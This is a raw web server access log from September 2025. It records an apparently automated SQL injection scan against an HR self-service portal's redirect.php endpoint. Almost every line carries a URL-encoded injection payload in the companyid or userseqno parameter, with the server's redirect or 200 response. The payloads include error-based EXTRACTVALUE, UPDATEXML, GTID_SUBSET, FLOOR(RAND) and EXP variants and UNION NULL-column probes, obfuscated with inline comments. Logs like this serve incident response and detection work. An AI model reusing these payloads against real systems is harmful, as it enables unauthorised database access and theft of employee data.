100.64.0.1 - - [07/Sep/2025:02:22:38 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x4e7a4e6c%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x77794e57%29%29--%2F%2A%2A%2FqVVC&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:38 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x75586f58%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x3558506f%29%2C6420%29--%2F%2A%2A%2F1XMn&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:38 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:38 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x54715555%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4f6d6e69%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FxlEf%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:38 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x54715555%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4f6d6e69%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FxlEf%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:38 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x38695370%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7a4b4d33%29%2C5431%29--%2F%2A%2A%2FUcEU&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:38 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x38695370%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7a4b4d33%29%2C5431%29--%2F%2A%2A%2FUcEU&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:38 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x48533666%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7255437a%29%2C5431%29--%2F%2A%2A%2FE0zn&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:38 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x48533666%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7255437a%29%2C5431%29--%2F%2A%2A%2FE0zn&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:38 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:38 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:38 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x70706c79%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x735a7331%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:38 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x70706c79%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x735a7331%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:38 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x784a4332%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6c775364%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2Fbs7N&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:38 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x784a4332%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6c775364%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2Fbs7N&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:38 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x3343426a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x66536773%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2FwUsn&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:38 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x3343426a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x66536773%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2FwUsn&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:38 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x4f475062%2C%28NULL%29%2C0x6f523741%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2FYQ0N%29 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:38 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x4f475062%2C%28NULL%29%2C0x6f523741%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2FYQ0N%29 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:39 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x62483957%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x54336563%29%29%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2F1CDO%29&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:39 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:39 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x44547867%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x57754e4d%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2Fh2SP HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:39 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x44547867%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x57754e4d%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2Fh2SP HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:39 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x4c716f6b%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x755a4859%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2F8wJ7 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:39 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x4c716f6b%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x755a4859%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2F8wJ7 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:39 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x34304545%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x426e4575%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FXfHh%29&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:39 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:39 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x39346848%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x65324d57%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:39 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:39 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:39 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:39 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x4d4f386e%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x546e3469%29%29x%29%29--%2F%2A%2A%2F3JkZ HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:39 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x4d4f386e%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x546e3469%29%29x%29%29--%2F%2A%2A%2F3JkZ HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:39 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x44554631%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x68383769%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2Fdxor%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:39 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:39 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:39 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x744c7433%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x30434557%29%29--%2F%2A%2A%2FudWl&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:39 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x4e7a4e6c%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x77794e57%29%29--%2F%2A%2A%2FqVVC&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:39 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:39 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x54715555%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4f6d6e69%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FxlEf%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:39 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:39 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x48533666%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7255437a%29%2C5431%29--%2F%2A%2A%2FE0zn&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:39 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
